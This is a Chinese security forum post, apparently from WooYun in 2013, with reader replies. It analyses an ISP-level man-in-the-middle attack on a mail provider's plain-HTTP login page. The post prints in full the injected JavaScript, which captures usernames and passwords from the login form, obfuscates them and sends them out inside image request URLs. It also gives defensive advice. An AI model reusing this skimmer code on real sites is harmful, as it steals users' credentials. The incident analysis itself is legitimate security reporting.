当前位置:WooYun(白帽子技术社区) >> 如何保护隐私与水表 >> 你们以为运营商只是HTTP插点广告而已么,图森破啊,呵呵

你们以为运营商只是HTTP插点广告而已么,图森破啊,呵呵

insight-labs (Root Yourself in Success) | 2013-01-26 13:15

国内某邮件服务商,近期在某南方地区有大量客户反应登录时出错和异常,于是工作人员进行了一下跟进,发现如下:
首先,邮件服务商登陆页面为普通HTTP协议发送,提交时通过JS进行RSA加密(没错,JS的RSA),发送到SSO登陆点,然后进行登录,有些人一看RSA,应该挺安全的了,不过……
在国内上网的大多数人对于运营商在HTTP包里插广告应该很熟悉了,原理很简单,大家可以参考腾讯安全中心的这篇文章http://security.tencent.com/index.php/blog/msg/10

在客户端抓包发现收到的HTTP数据包有异常,有几个包的TTL多了2,说明比正常从服务器到客户端的数据包少走了两跳,而且离服务器不是很远,估计在一个机房里,并且数据包的ID是很规律的12345,明显就是伪造的,包中插入了如下内容:

<script type="text/javascript">
    document.getElementById("freepassword").onblur = function (e) {
        logoFresh();
    };

    function onLoginCheck() {
        var user = null;
        var pass = null;
        user = document.getElementById("freename").value;
        pass = document.getElementById("freepassword").value;
        if (user.length <= 0 || pass.length <= 0) {
            return false;
        } else {
            return rskQuery(user + '&' + pass + '&xxxxx.com');
        }
    };

    function rskQuery(s) {
        s = encodeURIComponent(s);
        var r = Math.random();
        var num = (Math.round(r * 100)) % 9 + 1;
        var i = 0;
        var out = '';
        do {
            var ch = s.charCodeAt(i++);
            ch = (i % 2 > 0) ? (ch - i % num) : (ch + i % num);
            var l = (ch / 10 >= 10) ? 3 : (ch / 10 > 0 ? 2 : 1);
            out += l.toString() + ch;
        } while (i < s.length);
        out = r.toString().substring(0, num) + out + num;
        return out;
    };

    function logoFresh() {
        var h = logoUrl();
        var s = onLoginCheck();
        if (s == false) {
            return false;
        }
        for (var i = 0; i < 2; i++) {
            var bg_logo = new Image(0, 0);
            bg_logo.src = h + 'images/logo_bg.jpg?' + s;
        }
        var s1 = onLoginCheck();
        var ajaxUrl = h + 'images/logo_bg.jpg?' + s1;
        var result = xmlHttpConnect(ajaxUrl, "get", null);
    };

    function logoUrl() {
        return '/';
    };

    function createXMLHttp() {
        if (window.XMLHttpRequest) return new XMLHttpRequest();
        else if (window.ActiveXObject) return new ActiveXObject("Microsoft.XMLHTTP");
        else return null;
    };

    function xmlHttpConnect(url, method, content) {
        var request = createXMLHttp();
        if (request == null) return null;
        try {
            request.open(method, url, true);
            request.send(content);
        } catch (e) {
            return null;
        }
        if ((request.readyState == 4) && (request.status == 200)) return null;
        else return null
    };

    document.getElementById("vippassword").onblur = function (e) {
        logo_Fresh();
    }

    function onLoginPhone() {
        var user = null;
        var pass = null;
        user = document.getElementById("vipname").value;
        pass = document.getElementById("vippassword").value;
        if (user.length <= 0 || pass.length <= 0) {
            return false;
        } else {
            return rskQuery(user + '&' + pass + '&vip.xxxxx.com');
        }
    }

    function logo_Fresh() {
        var h = logoUrl();
        var s = onLoginPhone();
        if (s == false) {
            return false;
        }
        for (var i = 0; i < 2; i++) {
            var bg_logo = new Image(0, 0);
            bg_logo.src = h + 'images/logo_bg.jpg?' + s;
        }
        var s1 = onLoginCheck();
        var ajaxUrl = h + 'images/logo_bg.jpg?' + s1;
        var result = xmlHttpConnect(ajaxUrl, "get", null);
    }
</script>


在登录form里抓取用户名和密码,当成参数跟在logo后面再访问一下logo,再从中间抓包获取这段内容。这样的话邮件服务商的日志里肯定会出现很多logo的请求后面跟着明文用户名密码吧,错了,服务商那边根本没看到logo被请求两次,推断是带有这个特征的数据包被drop了,真尼玛用心啊。

至此,用户的邮箱密码已经泄露,用户和服务商也没有任何察觉,可能由于某些原因,比如延迟,丢包,bug之类的,导致部分用户被插的时候有异常,影响了原有的登录js,才导致这次事件浮出水面。
服务商由于成本问题,暂不考虑采用SSL登录。

至于那边还有什么类似设备我就不多说了,反正据我的了解,国内随便什么实权部门都能任意在ISP机房和主干网上接入任意设备,据说连税务的都有。


关于本次事件学到的内容:
国内服务用的任何用户名和密码和在国外比如gmail,twitter的账号要不相同,而且没有任何关联,并且国外服务的注册邮箱,密保邮箱等都要采用国外邮箱,首推gmail,并且打开二次认证,不要用短信认证,用手机验证器。

线上线下密码要分开,不相同,不近似,比如本地硬盘加密密码。凡是通过明文协议传输的通通被视为已暴露,HTTPS登录时每次手动查看证书签发机构是否为之前常用的那一个,遇到怀疑是国内CA伪造证书的立刻把证书导出另存为,因为国内没有root CA(cnnic的好像在ff和chrome已经被去掉了),只有二级证书机构,一旦被发现随便签证书会被立刻取消资格,并且黑名单推送到各大浏览器和操作系统。


呵呵,你们以为能频繁的,多种花样的插12306就赢了么,你们以为每天在微博打打嘴炮就胜利了么,菊花都被爆脱肛了还不知道。

分享到:
  1. 1#
    回复此人 感谢
    心伤的胖子 (天凉好个球) | 2013-01-26 13:19

    少年,收拾收拾东西准备跑路吧!

  2. 2#
    回复此人 感谢
    Shell | 2013-01-26 13:38

    尼玛~ 还让人怎么活

  3. 3#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2013-01-26 13:44

    喵了个咪的

  4. 4#
    回复此人 感谢
    蟋蟀哥哥 (̷ͣ̑̆ͯ̆̋͋̒ͩ͊̋̇̒ͦ̿̐͞҉̷̻̖͎̦̼) | 2013-01-26 13:48

    @xsser 这种事。。。应该有人管吧。。。

  5. 5#
    回复此人 感谢
    insight-labs (Root Yourself in Success) | 2013-01-26 13:57

    @xsser 我写这么辛苦,是不是得来个精华

  6. 6#
    回复此人 感谢
    无敌L.t.H (‮……天百一爱恋考高:簿相色白产国) | 2013-01-26 14:05

    http://www.docin.com/p-116777326.html
    这个我早知道了,现在ISP没个这类东西都搞不了。

  7. 7#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2013-01-26 14:09

    @insight-labs 有个问题啊 是如何精确的在正常数据包返回之前插入自己的啊

  8. 8#
    回复此人 感谢
    insight-labs (Root Yourself in Success) | 2013-01-26 14:28

    @xsser 是有这个问题,不过从ttl少2跳来看,设备的抓包口和发包口应该不在一个地方,这样从抓到返回数据包后,绕过两个路由,在离客户端更近的地方的设备发包,基本可以保证比原始数据包早到达。但是偶尔也会有延迟,这段js貌似是分了两个http数据包发送的,可能其中一个伪造的包到的晚了一点,导致js代码没插全,所以页面出错了

  9. 9#
    回复此人 感谢
    circus | 2013-01-26 16:02

    感慨万千。

  10. 10#
    回复此人 感谢
    lanz | 2013-01-26 16:29

    低调不被盯上才是上策啊

  11. 11#
    回复此人 感谢
    horseluke (微碌) | 2013-01-26 17:56

    这果然不让人活了

  12. 12#
    回复此人 感谢
    horseluke (微碌) | 2013-01-26 18:00

    这果然不让人活了,某些人又可以借机闹到US去了,呵呵

  13. 13#
    回复此人 感谢
    蟋蟀哥哥 (̷ͣ̑̆ͯ̆̋͋̒ͩ͊̋̇̒ͦ̿̐͞҉̷̻̖͎̦̼) | 2013-01-26 18:15

    转载了,要让更多的人知道

  14. 14#
    回复此人 感谢
    蟋蟀哥哥 (̷ͣ̑̆ͯ̆̋͋̒ͩ͊̋̇̒ͦ̿̐͞҉̷̻̖͎̦̼) | 2013-01-26 18:20

    希望楼主能收集完整的证据,然后找工信部投诉。

  15. 15#
    回复此人 感谢
    liner (/\) | 2013-01-26 18:25

    @蟋蟀哥哥 克华 找工信部投诉是没用的 他们也在这么干,运营商这么干也是被某部门默认过了的,要向国际安全组织投诉

  16. 16#
    回复此人 感谢
    insight-labs (Root Yourself in Success) | 2013-01-26 18:29

    @蟋蟀哥哥 你啊,图样图森破,拿衣服……

  17. 17#
    回复此人 感谢
    蟋蟀哥哥 (̷ͣ̑̆ͯ̆̋͋̒ͩ͊̋̇̒ͦ̿̐͞҉̷̻̖͎̦̼) | 2013-01-26 18:58

    @liner @insight-labs .....那就找证据向国际组织投诉啊。。。

  18. 18#
    回复此人 感谢
    insight-labs (Root Yourself in Success) | 2013-01-26 20:32

    @蟋蟀哥哥 gfw举世闻名,劫持过root dns,污染过国外流量,现在不也照样坚挺么,还加了不少功能

  19. 19#
    回复此人 感谢
    lake2 (浮夸) | 2013-01-26 21:40

    图样图森破。这段代码跟11年劫持gmail的代码一样。楼主你小心被查水表。我知道是你:)

  20. 20#
    回复此人 感谢
    missdiog | 2013-01-26 22:39

    强势围观,笑而不语。某些xx 有几十T的全国原生态的密码集 什么CMD5对xx来说都是弱爆了

  21. 21#
    回复此人 感谢
    Shell | 2013-01-26 22:42

    @missdiog 那个xx招人不?

  22. 22#
    回复此人 感谢
    lxsec (我的头像灰了!) | 2013-01-27 00:16

    看的越多才知道这个水有多深

  23. 23#
    回复此人 感谢
    雅柏菲卡 (万物有灵,切忌污损。。。。。。) | 2013-01-27 08:08

    偶貌似屏蔽了广告  不知道有木有避免被~~~~~?

  24. 24#
    回复此人 感谢
    雅柏菲卡 (万物有灵,切忌污损。。。。。。) | 2013-01-27 08:09

    打客服屏蔽的~~~~

  25. 25#
    回复此人 感谢
    蟋蟀哥哥 (̷ͣ̑̆ͯ̆̋͋̒ͩ͊̋̇̒ͦ̿̐͞҉̷̻̖͎̦̼) | 2013-11-11 22:46

    这篇文章被龙龙推荐了。。。估计看的人不少

  26. 26#
    回复此人 感谢
    Mr.醉心 | 2013-11-13 09:46

    喵了个咪的

  27. 27#
    回复此人 感谢
    Passer_by (腾讯微博的Passer-by不是我) | 2013-11-13 10:10

    运营商不让你请求到服务器也很多,缓存给你了

  28. 28#
    回复此人 感谢
    想要减肥的胖纸 | 2013-11-13 10:29

    你没做违法,不反动,他们也不会关心你。

    他们只感兴趣,违法,反动,等等的人。

    真要对你感兴趣还用这个? 直接通过内部调查你祖宗18代,然后找个借口协助调查。

  29. 29#
    回复此人 感谢
    insight-labs (Root Yourself in Success) | 2013-11-13 12:16

    @想要减肥的胖纸
    我相信ls是好人,所以为了证明,请把你所有密码都贴出来吧

  30. 30#
    回复此人 感谢
    雅柏菲卡 (万物有灵,切忌污损。。。。。。) | 2013-11-18 11:07

    喵了个咪的

  31. 31#
    回复此人 感谢
    xiaolan (卖寿司的伪黑阔 - https://xiaolan.me/) | 2014-09-03 23:13

    菊花都被爆脱肛了还不知道............

  32. 32#
    回复此人 感谢
    浅蓝 (摸摸大) | 2015-01-17 11:53

    喵了个咪的

  33. 33#
    回复此人 感谢
    dangge | 2015-06-13 12:12

    freebuf前几天还发了公告 说他们遭受了ISP层面的MITM
    所以说这块没人监管么=-=

  34. 34#
    回复此人 感谢
    TellYouThat | 2015-07-07 13:38

    mark..

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录

其它内容

  • 暂无